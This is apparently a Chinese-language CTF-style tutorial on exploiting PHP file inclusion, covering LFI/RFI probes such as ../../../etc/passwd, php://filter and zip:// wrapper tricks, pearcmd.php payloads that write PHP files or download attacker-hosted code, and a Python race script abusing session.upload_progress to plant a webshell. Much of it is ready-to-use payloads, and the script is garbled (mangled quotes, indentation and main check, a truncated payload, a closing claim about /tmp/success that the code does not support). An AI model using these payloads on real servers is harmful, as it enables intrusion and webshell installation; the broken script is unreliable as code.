文件包含

文件包含分为本地包含和远程包含。
最基础的检测方式:
本地包含:?file=../../../etc/passwd
远程包含:?file=http://www.baidu.com
这两种是最基础的检测方式,用以判断是否存在文件包含漏洞。检测完成后在使用对应的利用方式进行利用。
常见的利用方式:
获取敏感信息:包含一些特殊的配置文件,获取敏感信息;
图片getshell;
临时文件getshell;
session文件getshell;
日志文件getshell(Apach、SSH等等);
利用php伪协议进行攻击(会成为最常见的方式):

file://
php://
php://filter
php://input
zip:// & bzip2:// & zlib://
data://
phar://

伪协议

file:// 协议

本地文件传输协议
file:// 用于访问本地文件系统,比如:在CTF中通常用来读取本地文件的且不受配置文件中allow_url_fopen与allow_url_include的影响。
格式:www.xxx.com?cmd.php=file://[文件的绝对路径和文件名]

php://协议

使用条件(php.ini配置):

allow_url_fopen allow_url_include
php://input on/off on
php://stdin on/off on
php://memory on/off on
php://temp on/off on
php://filter on/off on/off

只需记住php://input 以及 php://filter,常用

php://filter

​ 名称 描述
resource<—>要过滤的数据流 这是个必要参数。它指定了你需要筛选过滤的数据流(简单来说就是你的数据来源)
read<—>读链的筛选列表 这个参数可选。可以设定一个或多个过滤器名称。以管道符(/)分隔
write<—>读链的筛选列表 这个参数可选。可以设定一个或多个过滤器名称。以管道符(/)分隔

php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。

php://filter读取源码可以使用以下的一些命令:

读:php://filter/resource=文件名
php://filter/read=convert.base64-encode/resource=文件名
写:php://filter/resource=文件名&txt=文件内容
php://filter/write=convert.base64-encode/resource=文件名&txt=文件内容

zip://,bzip2://,zlib://协议

zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名

zip://协议

格式:

zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]

例如: zip://archive.zip#dir/file.txt
先将要执行的PHP代码写好文件名为phpcode.txt,将phpcode.txt进行zip压缩,压缩文件名为file.zip,如果可以上传zip文件便直接上传,若不能便将file.zip重命名为file.jpg后在上传,其他几种压缩格式也可以这样操作。
由于#在get请求中会将后面的参数忽略所以使用get请求时候应进行url编码为%23,且此处经过测试相对路径是不可行,所以只能用绝对路径。

pearcmd文件包含漏洞

pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。在7.3及以前,pecl/pear是默认安装的;

在7.4及以后,需要我们在编译PHP的时候指定—with-pear才会安装。

不过,在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php

要利用这个pearcmd.php需要满足几个条件:

  1. 要开启register_argc_argv, 这个选项在Docker中使自动开启的
  2. 要有文件包含的利用

现在大部分CTF的环境都是利用docker搭建的,而现在的PHP题目的版本很大部分在7.4以上

利用

HTTP数据包中的query-string会被作为argv, 在docker下复现pearcmd应该是可行的,当然默认也存在pearcmd。

config-create

利用payload:

?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php

文件包含的点是?file=

install

pear install http://xxxx/test.php就可以下载php文件,还可以用--installroot指定目录,这样可以构造payload:

1
`?+install+--installroot+&file=/usr/local/lib/php/pearcmd.php&+http://xxxx/test1.php`

这个payload会将文件下载到网站目录的&file=/usr/local/lib/php/pearcmd.php\&/tmp/pear/download/文件夹下,构造非常巧妙,访问时需要url编码,好处是可以直接访问到文件,不需要包含,当然可能存在没有写权限的情况,就需要另外构造:

?+install+--installroot+/tmp/testinstall+http://localhost/index.html+&file=/usr/local/lib/php/pearcmd.php

这个payload会将文件下载到/tmp/testinstall/tmp/pear/download下,当然还有别的形式:

1
`?+install+http://localhost/index.html+&file=/usr/local/lib/php/pearcmd.php`

这个payload会将文件下载到/tmp/pear/download下。

download

1
`?+download+http://xxxx/test1.php&file=/usr/local/lib/php/pearcmd.php`

原命令是pear download url,和之前的install一样,&file=/usr/local/lib/php/pearcmd.php这一部分会被加入pear执行的参数中,在我们的服务器上构造会返回恶意代码的url:test1.php&file=/usr/local/lib/php/pearcmd.php即可。

可以将文件写到当前网站目录下。

session.upload_progress与Session文件包含

条件:

目标环境开启了session.upload_progress.enable选项

发送一个文件上传请求,其中包含一个文件表单和一个名字是PHP_SESSION_UPLOAD_PROGRESS的字段

请求的Cookie中包含Session ID

原理:

PHP在开启了session.upload_progress.enable后(在包括Docker的大部分环境下默认是开启的),将会把用户上传文件的信息保存在Session中,而PHP的Session默认是保存在文件里的。

所以当攻击者发送满足上述条件的数据包时,就等于能够控制Session文件内容。

import threading

import requests

from concurrent.futures import ThreadPoolExecutor, wait

target = ‘http://192.168.1.162:8080/index.php

session = requests.session()

flag = ‘helloworld’

def upload(e: threading.Event):

files = [

​ (‘file’, (‘load.png’, b’a’ * 40960, ‘image/png’)),

]

data = {‘PHP_SESSION_UPLOAD_PROGRESS’: rf’’’‘); echo(‘{flag}’); ?>’’’}

while not e.is_set():

​ requests.post(

​ target,

​ data=data,

​ files=files,

​ cookies={‘PHPSESSID’: flag},

​ )

def write(e: threading.Event):

while not e.is_set():

​ response = requests.get(

​ f’{target}?file=/tmp/sess_{flag}’,

​ )

​ if flag.encode() in response.content:

​ e.set()

if name == ‘main‘:

futures = []

event = threading.Event()

pool = ThreadPoolExecutor(15)

for i in range(10):

​ futures.append(pool.submit(upload, event))

for i in range(5):

​ futures.append(pool.submit(write, event))

wait(futures)

脚本执行完毕后会在目标中写入/tmp/success文件,里面即为Webshell